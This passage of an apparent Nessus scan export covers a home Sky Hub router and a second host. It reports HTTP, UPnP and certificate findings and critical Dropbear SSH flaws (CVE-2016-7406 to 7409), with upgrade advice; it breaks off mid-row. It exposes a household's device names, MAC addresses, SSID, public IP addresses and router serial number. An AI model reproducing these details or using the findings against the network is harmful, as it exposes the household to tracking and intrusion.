		24260						None		192.168.0.1		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: sky_router
  X-Frame-Options: Deny
  Cache-Control: no-cache
  Date: Thu, 05 Nov 2020 18:19:04 GMT
  Content-Type: text/html
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- v4.2 -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Sky Hub &gt; Home</title>
<link type="text/css" rel="stylesheet" href="assets/css/fonts.css"/>
<link type="text/css" rel="stylesheet" href="assets/css/main.css"/>
<!-- jh scripts start -->
<script type="text/javascript" src="assets/js/libs/jquery/jquery-1.7.1.js"></script>
<script type="text/javascript" src="assets/js/libs/jquery/jquery.effects.core.js"></script>
<!--[if LT IE 7]>
			<script type="text/javascript" src="assets/js/libs/DD_belatedPNG_0.0.8a.js"></script>
		<![endif]-->
<script type="text/javascript" src="assets/js/utilities.js"></script>
<script type="text/javascript" src="assets/js/libs/modernizr.touch.js"></script>
<script type="text/javascript" src="assets/js/init.js"></script>
<!-- jh scripts end -->
<script type="text/javascript" src="assets/js/sky_utility.js"></script>
<script type="text/javascript" src="assets/js/sky_linux.js"></script>
<script type="text/javascript" src="assets/js/sky_script.js"></script>
<script type="text/javascript">
    <!--//
    var skyExtender = '';
    var msg_restart;
    if (skyExtender == '')
    {
        msg_restart = "Restarting the Sky Hub will terminate any active connections to the internet";
    }
    else
    {
        msg_restart = "Restarting the Sky Hub will terminate all active connections";
    }
    //-->
   </script>
   <script   type="text/javascript">
    var logoutEnabled = false;
      var attachedDevColumnName = 'MAC Address';
      var adminLoggedIp = '';
      var pcIpAddr = '192.168.0.35';
      var sky_wlAuthMode = 'psk2';
      var sky_wlWep = '';
      var sky_WirelessAllSSIDs = 'SKY45C70';
      sky_WirelessAllSSIDs = sky_WirelessAllSSIDs.replace(/ /g,"&nbsp;");
      var passwordLinkAttributes = {};

      function elementSupportsAttribute( elementType, attributeName )
      {
         // Convert "truthy" value to actual boolean (!!).
         return !!( attributeName in document.createElement( elementType ) );

      }
      function doEnablePasswordLink( enableLink )
      {
         var passwordLink;

         passwordLink = document.getElementById( 'passwordLink' );
         if( passwordLink )
         {
            // Determine if browser supports "disabled" attribute.
            if( elementSupportsAttribute( "a", "disabled" ) )
            {
               if( enableLink )
               {
                  passwordLink.disabled = false; // Automatically restore link colour.
                  // Restore hyperlink reference to re-enable it.
                  passwordLink.setAttribute( 'href', passwordLinkAttributes[ 'href' ] );

               }
               else
               {
                  passwordLink.disabled = true; // Automtically "grey out" the link.
                  // Disable the hyperlink, saving it for later restoration.
                  passwordLinkAttributes[ 'href' ] = passwordLink.getAttribute( 'href' );
                  passwordLink.setAttribute( 'href', 'javascript: void(0)' );
     
               } // if( enableLink )

            }
            else
            {
               if( enableLink )
               {
                  // Install a onclick handler that will allow the link to be followed.
                  passwordLink.onclick = function(){ return true; };
                  // Restore the original link colour.
                  passwordLink.style.color = passwordLinkAttributes[ 'colour' ];
                        
               }
               else
               {
                  // Install an onclick handler that will not allow the link to be followed.
                  passwordLink.onclick = function(){ return false; };
                  // Save the original link colour and then gray it out.
                  passwordLinkAttributes[ 'colour' ] = passwordLink.style.color;
                  passwordLink.style.color = "gray";
                        
               } // if( enableLink )

            } // if( elementSupportsAttribute( "a", "disabled" )

         } // if( passwordLink )

      }
      function init()
      {
         var passwordLink;

         // Initialize default properties for the password hypertext shortcut.
         passwordLink = document.getElementById( 'passwordLink' );
         if( passwordLink )
         {
         	passwordLinkAttributes[ 'href' ] = passwordLink.getAttribute( 'href' );
         	passwordLinkAttributes[ 'colour' ] = passwordLink.style.color;

         }
         else
         {
            passwordLinkAttributes[ 'href' ] = 'javascript: void(0)';
            passwordLinkAttributes[ 'colour' ] = 'gray';

         } // if( passwordLink )
         
         dataToVisible(document.forms[0]);
         loadhelp('sstatus_w');
         loadhelp('_diag');
		 if( ( ( sky_wlAuthMode == 'open' ) && ( sky_wlWep == 'enabled' ) ) ||
		     ( sky_wlAuthMode == 'shared' ) ||
		     ( sky_wlAuthMode == 'psk' ) ||
		     ( sky_wlAuthMode == 'psk2' ) ||
		     ( sky_wlAuthMode == 'psk psk2' ) ||
		     ( sky_wlAuthMode == 'radius' ) )
		    doEnablePasswordLink( true );

		 else
		 	doEnablePasswordLink( false );

         document.getElementById('logout').onclick = function()
         {
            if((adminLoggedIp != "") && (adminLoggedIp == pcIpAddr)) {
                 return true;
            } else {
                 return false;
            }
         }
      }
</script>
</head>
<body onload="init();">
<!-- head -->
<div id="head">
  <div id="header">
    <div class="layout"><span id="header-logo"></span><span id="header-title"><a href="sky_index.html">Sky Hub</a></span></div>
  </div>
  <!-- nav -->
  <div id="nav">
    <div id="main-nav">
      <div class="layout">
        <ul id="topmenu">
        <li ><a href="sky_wireless_settings.html">Wireless</a></li>
        
        <li ><a href="sky_eth_setup.html">Ethernet</a></li>
        <li ><a href="sky_logs.html">Security</a></li>
        <li ><a href="sky_router_status.html">Maintenance</a></li>
        <li ><a href="sky_wan_setup.html">Advanced</a></li>
        <li ><a href="sky_support.html">Support</a></li>
        <li ><a href="sky_license.html">Licence Information</a></li> 
        </ul>
        <a id="logout" href="sky_logout.html">Logout</a>
        </div>
    </div>
  </div>
  <!-- nav end -->
</div>
<!-- head end -->
<!-- content -->
<div id="content">
  <!-- layout -->
  <div class="layout">
    <div id="content-header">
      <div id="content-header-copy-index">
        <h1>Summary Status</h1>
        <p class="black">We configure your Sky Hub with all the settings to enable it to work straight away. Advanced users will find links below to common settings you may wish to change.</p>
        <p>For more settings select the menu options at the top of this page.</p>
      </div>
      <div id="content-header-image-index">
        <div id="content-header-background"></div>        
        <div id="router-image"></div> 
      </div>
      <br class="clear-break" />
    </div>
    <div id="content-body">
      <!-- main-panel -->
      <div class="main-panel">
        <hr class="top"/>
        <form name="formname" method="post" action="sky_rebootinfo.cgi">

          <script>
            var sky_extender = '';
            if (sky_extender != '')
            {
                document.write("<div>");
                document.write("<div class=\"section-heading\">");
                document.write("<h3>Your Sky Hub\'s Connection To An Access Point</h3>");
                document.write("</div>");
                document.write("<div class=\"row-holder\">");
                document.write("<span class=\"label w250\">Connection Status</span>");
                document.write("<span></span>");
                document.write("</div>");
                document.write("<hr />");
                document.write("</div>");
            }
          </script>

          <div class="section-heading">
            <h3>Status of your broadband and wireless network</h3>
          </div>
          <div class="row-holder" > <span class="label w250">Broadband</span>
            <script type="text/javascript">
				  <!-- hide
				  var wanDslLinkConfig = '1_ipoe_0_1_0.101_90.212.121.3_70:50:af:94:e0:22_255.255.252.0_90.212.120.1_ptm0.1_90.207.238.97, 90.207.238.99_41:03:43_2a02:c7f:8a1e:9000::1/64_fe80::a2f3:e4ff:fe86:e30_&nbsp;_&nbsp;_2a02:c7f:8a1e:9000::/56_fe80::7250:afff:fe94:e022'; // it's like: "1_PPPoE_8_32"
				  var elementWanDslLinkConfig = wanDslLinkConfig.split('_');
				  var WanoeStat='Disconnected_None_0_0_Disconnected';
				  var wanoeparam=WanoeStat.split('_');
				  var isWanConnected = 'Disconnected';
				  if(wanoeparam[0]=='Connected') {
				     isWanConnected='Connected';
				  }
				  else if (elementWanDslLinkConfig[0] == '1') {
					  isWanConnected = 'Connected';
				  }
				  document.writeln("<span>" + isWanConnected + "</span>");
				  // done hiding -->
             </script>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless</span>
            <span>Enabled</span>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Network Name (SSID)</span>
          <script   type="text/javascript">
                document.writeln("<span>" + sky_WirelessAllSSIDs + "</span>");
          </script>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Network Visible</span>
            <span>Yes</span>
          </div>
          <div class="row-holder"> <span class="label w250">Current Wireless Channel</span>
            <span>3 (2.4 GHz), 36 (5 GHz)</span>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Encryption</span>
             WPA2-PSK
          </div>
           
          <div >
          <hr />
          <div class="section-heading">
            <h3>Devices connected to your home network</h3>
          </div>
          <table cellpadding="0" cellspacing="0" style="width:82%">
            <tbody>
              <tr class="header">
                <td width="35%">Device Name</td>
                <script type="text/javascript">
                document.write("<td>" + attachedDevColumnName + "</td>");
                </script>                
              </tr>
              <script type="text/javascript">
				<!--hide
				// done hiding -->
				var i, j, k, attach_dev = 'UNKNOWN,52:f8:59:68:48:4b,UnKnown<lf>Ring-1e888e,54:e0:19:1e:88:8e,Cabled<lf>Brians-iPhone,76:05:e7:54:eb:47,UnKnown<lf>UNKNOWN,58:2f:40:7f:d6:bb,UnKnown<lf>raspberrypi,b8:27:eb:8c:16:3a,UnKnown<lf>UNKNOWN,8c:c8:cd:74:d9:5e,Cabled<lf>BPM,2e:d1:ae:fe:f2:4b,UnKnown<lf>BPMSurfaceBook,b4:ae:2b:e5:a9:0e,UnKnown<lf>deco-E4R,d8:47:32:3b:b1:7c,UnKnown<lf>Ollies-iPhone,aa:38:1a:43:81:e9,UnKnown<lf>deco-E4R,d8:47:32:3b:a0:90,UnKnown<lf>XBOXONE,58:82:a8:24:78:f8,UnKnown<lf>ESP_1C5A18,b4:e6:2d:1c:5a:18,UnKnown<lf>iPad,ae:55:9c:d2:dc:9e,Wireless<lf>HelensiPhoneSE,f6:38:db:ae:20:37,UnKnown<lf>amazon-9ee13af0a,40:b4:cd:18:d0:8b,UnKnown<lf>amazon-7131f9f8b,5c:41:5a:72:2d:ff,UnKnown<lf>amazon-08b1a557b,18:74:2e:10:73:7b,Wireless<lf>HS100(UK),50:c7:bf:bf:6e:03,Cabled<lf>Chromecast,44:07:0b:35:00:40,UnKnown<lf>Plex,32:8f:9e:d7:3b:45,UnKnown<lf>amazon-f043041d8,f8:54:b8:83:ab:36,UnKnown<lf>DESKTOP-7FAM0HP,8a:20:7d:fb:7e:1a,UnKnown<lf>SKY+HD,20:47:ed:14:ba:2a,UnKnown<lf>SKY+HD,20:47:ed:7b:cc:b2,UnKnown<lf>SKY+HD,20:47:ed:1c:cf:9a,UnKnown<lf>amazon-edaabc7bb,6c:56:97:eb:9b:2f,UnKnown<lf>amazon-f8b4ebb59,68:db:f5:44:89:94,Wireless<lf>PVE,a0:48:1c:92:66:9c,UnKnown<lf>deco-E4R,d8:47:32:3b:ad:6c,UnKnown<lf>Roku 3 - 126,dc:3a:5e:f7:38:bf,Wireless';
                if(attach_dev != '&nbsp;') {
                    var ind_dev = attach_dev.split('<lf>');
                    var len = ind_dev.length;
                    var each_line = new Array(len);
                    if(attach_dev != ' ') {
                        for( i = 0; i < len; i++) {
                            each_line[i] = ind_dev[i].split(',');
                        }
                        for(var j = 0; j < len; j++) {
                            document.write("<tr>");
                            document.write("<td>" + each_line[j][0] + "</td>");
                            if( attachedDevColumnName == "MAC Address" ) {
                                document.write("<td>" + each_line[j][1] + "</td>");
                            }
                            else {
                                document.write("<td>" + each_line[j][2] + "</td>");
                            }
                            document.write("</tr>");
                        }
                    }
                }
             </script>
            </tbody>
          </table>
          <input name="sessionKey" value="560333804" type="hidden"/>
          <input name="this_file" value="sky_index.html" type="hidden"/>
          <input name="next_file" value="sky_index.html" type="hidden"/>
        </form>
        </div>
        <hr />
        <div class="buttons-holder"> <a href="sky_index.html" class="btn42 btn-clr-primary png"><span class="png">Refresh</span></a></div>
      </div>
      <!-- main-panel end -->
      <!-- side-panel -->
      <div class="side-panel">
        <div class="pod">
          <div class="content">
            <h5>Useful settings</h5>
            <ul class="clean">
              <li><a class="link" href="sky_router_status.html">Further Diagnostic Help</a></li><li><a class="link" href="sky_set_password.html">Change Admin Password</a></li><li><a class="link" href="sky_wireless_onoff.html">Disable or Enable Wireless Network</a></li><li><a class="link" href="sky_wireless_network_name.html">Change Wireless Network Name</a></li><li><a class="link" href="sky_wireless_password.html">Change Wireless Password</a></li><li><a class="link" href="sky_wireless_channel.html">Change Wireless Channel</a></li><li><a class="link" href="sky_block_sites.html">Change Parental Controls</a></li><li><a class="link" href="sky_backup_settings-erase.html">Revert to factory default settings</a></li><li><a class="link" href="javascript:if(confirm(msg_restart)) window.location.href='sky_rebootCPE.html'">Reboot Sky Hub</a></li>
            </ul>
          </div>
        </div>
      </div>
      <!-- side-panel end -->
      <br class="clear-break" />
    </div>
  </div>
  <!-- layout end -->
</div>
<!-- content end -->
</div>
</body>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		4444		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: apid 1.0
  Date: Thu, 05 Nov 2020 18:19:05 GMT
  Vary: Accept-Encoding, Origin
  Cache-Control: no-cache,no-store
  Content-Type: text/html; charset=%s
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>400 Bad Request</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>400 Bad Request</h4>
Internal Error 2.
<!--
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
-->
    <hr>

    <address><a href="https://www.meetcircle.com/">apid 1.0</a></address>

  </body>

</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		4567		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: apid 1.0
  Date: Thu, 05 Nov 2020 18:19:14 GMT
  Vary: Accept-Encoding, Origin
  Cache-Control: no-cache,no-store
  Content-Type: text/html; charset=%s
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>400 Bad Request</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>400 Bad Request</h4>
Internal Error 2.
<!--
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
-->
    <hr>

    <address><a href="https://www.meetcircle.com/">apid 1.0</a></address>

  </body>

</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		8889		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 302 Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: webd 1.0
  Date: Thu, 05 Nov 2020 18:19:14 GMT
  Access-Control-Allow-Origin: *
  Location: http://filter.meetcircle-sky.com
  Content-Type: text/html
  Connection: close
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		8890		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 302 Found


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: webd 1.0
  Date: Thu, 05 Nov 2020 18:19:25 GMT
  Access-Control-Allow-Origin: *
  Location: http://filter.meetcircle-sky.com
  Content-Type: text/html
  Connection: close
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.1		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		31422						None		192.168.0.1		tcp		0		Reverse NAT/Intercepting Proxy Detection		The remote IP address seems to connect to different hosts
via reverse NAT, or an intercepting proxy is in the way.		Reverse NAT is a technology which lets multiple computers offer
public services on different ports via the same IP address. 

Based on OS fingerprinting results, it seems that different 
operating systems are listening on different remote ports.

Note that this behavior may also indicate the presence of a
intercepting proxy, a load balancer or a traffic shaper.		Make sure that this setup is authorized by your security policy		https://en.wikipedia.org/wiki/Proxy_server#Intercepting_proxy_server		+ On the following port(s) : 
 - 80 (0 hops away)
 - 5300 (0 hops away)

The operating system was identified as :

Linux Kernel 2.6

+ On the following port(s) : 
 - 4567 (0 hops away)
 - 5431 (0 hops away)

The operating system was identified as :

Linux Kernel 2.6

										None								3/12/08		11/22/19

		35371						None		192.168.0.1		udp		53		DNS Server hostname.bind Map Hostname Disclosure		The DNS server discloses the remote host name.		It is possible to learn the remote host name by querying the remote
DNS server for 'hostname.bind' in the CHAOS domain.		It may be possible to disable this feature.  Consult the vendor's
documentation for more information.				
The remote host name is :

XDR_on_cdns16.bllon
										None								1/15/09		9/14/11

		35711						None		192.168.0.1		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-50705094200000
    http://192.168.0.1:49164/wps_device.xml
    http://192.168.0.1:49163/wps_device.xml
    http://192.168.0.1:49162/wps_device.xml

And advertises these unique service names :

    uuid:7050af94-e020-20e0-94af-50705094200000::upnp:rootdevice
    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-org:device:InternetGatewayDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-org:service:Layer3Forwarding:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::upnp:rootdevice
    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-org:device:WANDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:
    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-org:device:WANConnectionDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-org:service:WANIPConnection:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-wifialliance-org:device:WFADevice:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-wifialliance-org:service:WFAWLANConfig:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.1		tcp		5431		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-50705094200000 :

deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1
friendlyName: Sky ADSL Router
manufacturer: Sky Hub
manufacturerURL: http://www.sky.com/
modelName: ER110
modelDescription: (null)
modelName: ER110
modelNumber: 1.0
modelURL: http://www.broadcom.com/
ServiceID: urn:upnp-org:serviceId:Layer3Forwarding.1
	serviceType: urn:schemas-upnp-org:service:Layer3Forwarding:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200000/Layer3Forwarding:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200000/Layer3Forwarding:1
	SCPDURL: /dynsvc/Layer3Forwarding:1.xml
ServiceID: urn:upnp-org:serviceId:WANCommonInterfaceConfig.1
	serviceType: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200001/WANCommonInterfaceConfig:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200001/WANCommonInterfaceConfig:1
	SCPDURL: /dynsvc/WANCommonInterfaceConfig:1.xml
ServiceID: urn:upnp-org:serviceId:WANIPConnection.1
	serviceType: urn:schemas-upnp-org:service:WANIPConnection:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200002/WANIPConnection:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200002/WANIPConnection:1
	SCPDURL: /dynsvc/WANIPConnection:1.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49162		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49162/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49163		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49163/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49164		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49164/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.1		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

70:50:AF:94:E0:21 : BSkyB Ltd
										None								2/19/09		5/13/20

		93650		CVE-2016-7407		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7408		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		45410						None		192.168.0.1		tcp		4567		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  skyrouter.home

The Common Name in the certificate is :

  localhost

The Subject Alternate Names in the certificate are :

  10.123.234.1
  meetcircle.local
										None								4/3/10		6/25/19

		45410						None		192.168.0.1		tcp		8890		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  skyrouter.home

The Common Name in the certificate is :

  circle002

The Subject Alternate Names in the certificate are :

  10.123.234.1
  meetcircle.local
										None								4/3/10		6/25/19

		50845						None		192.168.0.1		tcp		4567		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		50845						None		192.168.0.1		tcp		8890		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		93650		CVE-2016-7409		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
